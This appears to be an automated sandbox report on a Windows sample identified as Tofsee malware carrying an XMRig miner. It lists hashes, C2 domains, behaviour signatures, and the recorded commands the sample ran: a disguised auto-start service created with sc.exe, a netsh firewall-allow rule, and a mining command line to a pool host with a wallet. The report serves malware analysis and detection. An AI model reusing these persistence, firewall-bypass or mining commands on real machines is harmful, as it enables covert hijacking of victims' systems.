Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    10-10-2023 20:34

General

  • Target

    file.exe

  • Size

    219KB

  • MD5

    c594cefe6ddfd19e7ecb0e749b4063dc

  • SHA1

    3c78b4feff67bd08b6c327531cb220cc9d92578c

  • SHA256

    23a5ce1becbbdec0486d5e8085d86c9e4275eba14b0d2c29f54ddfcf7cf1ce70

  • SHA512

    2c9557a72de6f21824ad488f676ef4d29f533f598a0bd4dff672a31aacae581962574d728b65b0bd252f039e5fe5ff35f23e14a78e2454632494c1d67a3fd2b3

  • SSDEEP

    3072:MVmR74AZSJU/IXjnzCxnT9YIdDlLrpJ55/vgx:yWsU/IrUZYeDhrfv

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\nrbzbmoh\
      2⤵
        PID:2628
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\keewzjnz.exe" C:\Windows\SysWOW64\nrbzbmoh\
        2⤵
          PID:2720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create nrbzbmoh binPath= "C:\Windows\SysWOW64\nrbzbmoh\keewzjnz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description nrbzbmoh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2032
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start nrbzbmoh
          2⤵
          • Launches sc.exe
          PID:2468
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3048
      • C:\Windows\SysWOW64\nrbzbmoh\keewzjnz.exe
        C:\Windows\SysWOW64\nrbzbmoh\keewzjnz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1116
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1572

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\keewzjnz.exe

        Filesize

        10.4MB

        MD5

        18c696c7d4eb3a535bdf5a7a0782df88

        SHA1

        e0eb5c9fd421c39154f113d895a5ea5a829377c6

        SHA256

        4bfcd424a44d671cc1410629c1eefb7057462883bbdc2136653cf229c20bb392

        SHA512

        ac3c9ddbc81d6cc60c79816aa489fe800280df1d48dde02af432fb9f45d0a3c80e29e43e7dc13d336aa5a7c3c1b598f1d8b85b7e96909790aac9e1786c74d11f

      • C:\Windows\SysWOW64\nrbzbmoh\keewzjnz.exe

        Filesize

        10.4MB

        MD5

        18c696c7d4eb3a535bdf5a7a0782df88

        SHA1

        e0eb5c9fd421c39154f113d895a5ea5a829377c6

        SHA256

        4bfcd424a44d671cc1410629c1eefb7057462883bbdc2136653cf229c20bb392

        SHA512

        ac3c9ddbc81d6cc60c79816aa489fe800280df1d48dde02af432fb9f45d0a3c80e29e43e7dc13d336aa5a7c3c1b598f1d8b85b7e96909790aac9e1786c74d11f

      • memory/1096-0-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/1096-1-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/1096-2-0x0000000000400000-0x0000000000444000-memory.dmp

        Filesize

        272KB

      • memory/1096-6-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/1096-5-0x0000000000400000-0x0000000000444000-memory.dmp

        Filesize

        272KB

      • memory/1096-7-0x0000000000220000-0x0000000000235000-memory.dmp

        Filesize

        84KB

      • memory/1116-37-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-40-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1116-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1116-56-0x0000000000330000-0x0000000000337000-memory.dmp

        Filesize

        28KB

      • memory/1116-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1116-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1116-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1116-21-0x0000000001870000-0x0000000001A7F000-memory.dmp

        Filesize

        2.1MB

      • memory/1116-24-0x0000000001870000-0x0000000001A7F000-memory.dmp

        Filesize

        2.1MB

      • memory/1116-25-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/1116-28-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-31-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-32-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-33-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-34-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-35-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-36-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-55-0x0000000005450000-0x000000000585B000-memory.dmp

        Filesize

        4.0MB

      • memory/1116-38-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-39-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1116-41-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-42-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-43-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-44-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-45-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-46-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-47-0x00000000001A0000-0x00000000001B0000-memory.dmp

        Filesize

        64KB

      • memory/1116-48-0x0000000000240000-0x0000000000245000-memory.dmp

        Filesize

        20KB

      • memory/1116-51-0x0000000000240000-0x0000000000245000-memory.dmp

        Filesize

        20KB

      • memory/1116-52-0x0000000005450000-0x000000000585B000-memory.dmp

        Filesize

        4.0MB

      • memory/1572-61-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-65-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1572-60-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-72-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-71-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-70-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-69-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-74-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-75-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/1572-73-0x0000000000110000-0x0000000000201000-memory.dmp

        Filesize

        964KB

      • memory/2696-9-0x0000000000400000-0x0000000000444000-memory.dmp

        Filesize

        272KB

      • memory/2696-14-0x0000000000400000-0x0000000000444000-memory.dmp

        Filesize

        272KB